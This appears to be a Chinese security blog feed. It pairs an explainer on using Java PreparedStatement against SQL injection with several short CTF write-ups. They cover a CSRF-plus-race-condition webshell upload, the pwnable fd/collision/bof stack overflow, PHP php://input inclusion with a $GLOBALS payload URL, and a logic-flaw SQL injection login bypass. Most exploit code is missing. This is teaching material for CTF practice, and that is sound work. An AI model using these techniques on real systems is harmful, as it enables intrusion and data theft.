所以如何避免呢,在java中,Java提供了 Statement、PreparedStatement 和 CallableStatement三种方式来执行查询语句,其中 Statement 用于通用查询,PreparedStatement 用于执行参数化查询,而 CallableStatement则是用于存储过程。

其中PreparedStatement就是可以有效防止常见的sql注入的一种方法

PreparedStatement是java.sql包下面的一个接口,用来执行SQL语句查询,通过调用 connection.preparedStatement(sql) 方法可以获得PreparedStatment对象。数据库系统会对sql语句进行预编译处理(如果JDBC驱动支持的话),预处理语句将被预先编译好,这条预编译的sql查询语句能在将来的查询中重用,这样一来,它比Statement对象生成的查询速度更快。

PreparedStatement与Statement区别

Statement是PreparedStatement的父类,作为 Statement 的子类,PreparedStatement 继承了 Statement 的所有功能。

Statement不对sql语句作处理而直接交给数据库;而PreparedStatement支持预编译,对于多次重复执行的sql语句,使用PreparedStament使代码的执行效率,代码的可读性和可维护性更高,PreparedStament提高了代码的安全性,防止sql注入。

安全性 效率 开销 可读性 维护性

prepareStatement

高,预编译 容易

Statement

容易发生sql注入 低,每一次编译 不容易

 

如何使用PreparedStatement

1:字符串追加形式的PreparedStatement

2:使用参数化查询的PreparedStatement


使用PreparedStatement的参数化的查询可以阻止大部分的SQL注入。在使用参数化查询的情况下,数据库系统(eg:MySQL)不会将参数的内容视为SQL指令的一部分来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有破坏性的指令,也不会被数据库所运行。

对于刚才的例子,可以看到它使用的是第一种方式这样其实就跟使用了Statement一样,这样的优点是代码少打几行可是代价也是很高的。如果我们改成第二种,PreparedStatement会对’进行转义,sql将其作为一个参数一个字段的属性值来处理,从而使得注入攻击失败

简单来说预编译会给你外面加引号并且过滤特殊字符

 

补充:避免SQL注入的第二种方式:
在组合SQL字符串的时候,先对所传入的参数做字符取代(将单引号字符取代为连续2个单引号字符,因为连续2个单引号字符在SQL数据库中会视为字符中的一个单引号字符。)

可以看出使用拼凑字符追加型的sql生成形式能更方便灵活的自定义控制sql语句,但如果没有进行有效的过滤很容易造成sql注入,所以建议使用参数化查询的PreparedStatement,用PreparedStatement代替Statement。

【注意】占位符只能占位SQL语句中的普通值,决不能占位表名、列名、SQL关键字(select、insert等)。所以如果使用动态表名,字段,就只能向上面案例那样使用非预编译方法,不过这样显然很容易导致注入。


参考:

http://www.importnew.com/5006.html

http://blog.csdn.net/changyinling520/article/details/71159652

http://blog.csdn.net/daijin888888/article/details/50965232

安恒杯一月赛部分题目writeup

首先感谢下安恒举办的比赛,还有大神们的讲解,学习了


再来个友情链接

发现.git泄漏,拿到源码

发现上传文件,代码审计

发现upload.php里面的条件竞争漏洞,先上传文件再删除文件。但是程序开头会检查权限,需要登录后才能操作。因此解题思路为结合CSRF+条件竞争。

因为程序添加友情链接时候会先去访问这个文件

所以我们可以写个自动上传文件的js,利用csrf去上传绕过user判断,然后利用时间差,在还没删除temp文件时快速去访问/temp上传成功的php,并自动创建一个一句话shell

poc:

阅读剩余部分 –

pwnable入门题笔记

fd

ssh连上

找到fd的源码

首先,程序接收一个参数argv[1],转换为整数型之后减0x1234 ,读入buf ,比较是否与LETMEWIN相同,如果相同则get flag

 

read函数

read()会把参数fd所指的文件传送nbyte个字节到buf指针所指的内存中。若参数nbyte为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或无可读取的数据。错误返回-1,并将根据不同的错误原因适当的设置错误码。

linux文件描述符

Integer value <stdio.h> file stream
0 stdin
1 stdout
2 stderr

也就是我们可以令fd=0 使得标准输入,buf的值就可以键入了

又因为

所以我们令fd=0x1234的10进制4660然后键入LETMEWIN

 

collision

先看代码

分析源码,首先输入长度为20的字符然后与关键函数check_password比较

p强制转化为指针,32位下指针一般与char的大小相同,所以相当于分成5组(char1个字节,int4个字节

然后把每四个字符看成一共int型的数字,进行5次循环相加,结果放入res中

最后符合hashcode = 0x21DD09EC; 拆分一下符合20长度限制,如下

注意下是小端模式

 

bof

给的源码:

key == 0xcafebabe 即可拿到shell但实际传的key为0xdeadbeef

又看到gets 可以溢出

IDA打开编译好的c

发现char s //[sp + 1Ch] [bp – 2Ch]说明,这个字符串s 是从[bp – 2Ch]处开始进入栈缓冲区的,所以我们只要覆盖2C字节,再加上EBP和EIP的8个字节,总共52个字节就可以成功覆盖第一个变量,也就是func里面的参数覆盖为0xcafebabe

这里盗个图方便理解

所以EXP为

拿到flag

百度杯ctf二月场几道web题 writeup

include

比较经典的文件包含题,记录一下

首先看phpinfo里allow_url_include为On

所以可以使用php://input包含执行命令

 

 

关键文件在dle345aae.php

配合

读取源码

爆破1

这里用到PHP超全局变量

$GLOBALS — 引用全局作用域中可用的全部变量

$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。

PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

 

payload:

http://4687f7fdd5d64157a0dea153446a49728bbc8a7ce1bd49c6.game.ichunqiu.com/?hello=GLOBALS

 

爆破2

代码注入一下就ok

看来只有flag.php

然后我们直接输出源码就行

比较坑的是i春秋带了waf…我们改成post再传个值绕过

水过..

程序逻辑问题 writeup

最近准备刷一下实验吧的题,抽空做个小记录

题目连接:http://ctf5.shiyanbar.com/web/5/index.php


题目就是登陆成功用户后获得flag

首先获得php源码

其中

显然可以注入

接着往下看

这里把sql语句执行得到的数据放到row 并且判断其中的pw是否与输入的md5($_POST[pass]);相等

因为这里把用户和密码的判断分开 所以我们没法按常规注释掉密码的sql判断

但是因为row的数组结果是之前$sql的语句,所以我们其实可以通过sql注入生成一个密码来绕过

那就好办了,首先先试出来用户名为username

接下来构造sql语句

密码处填写123 成功拿到flag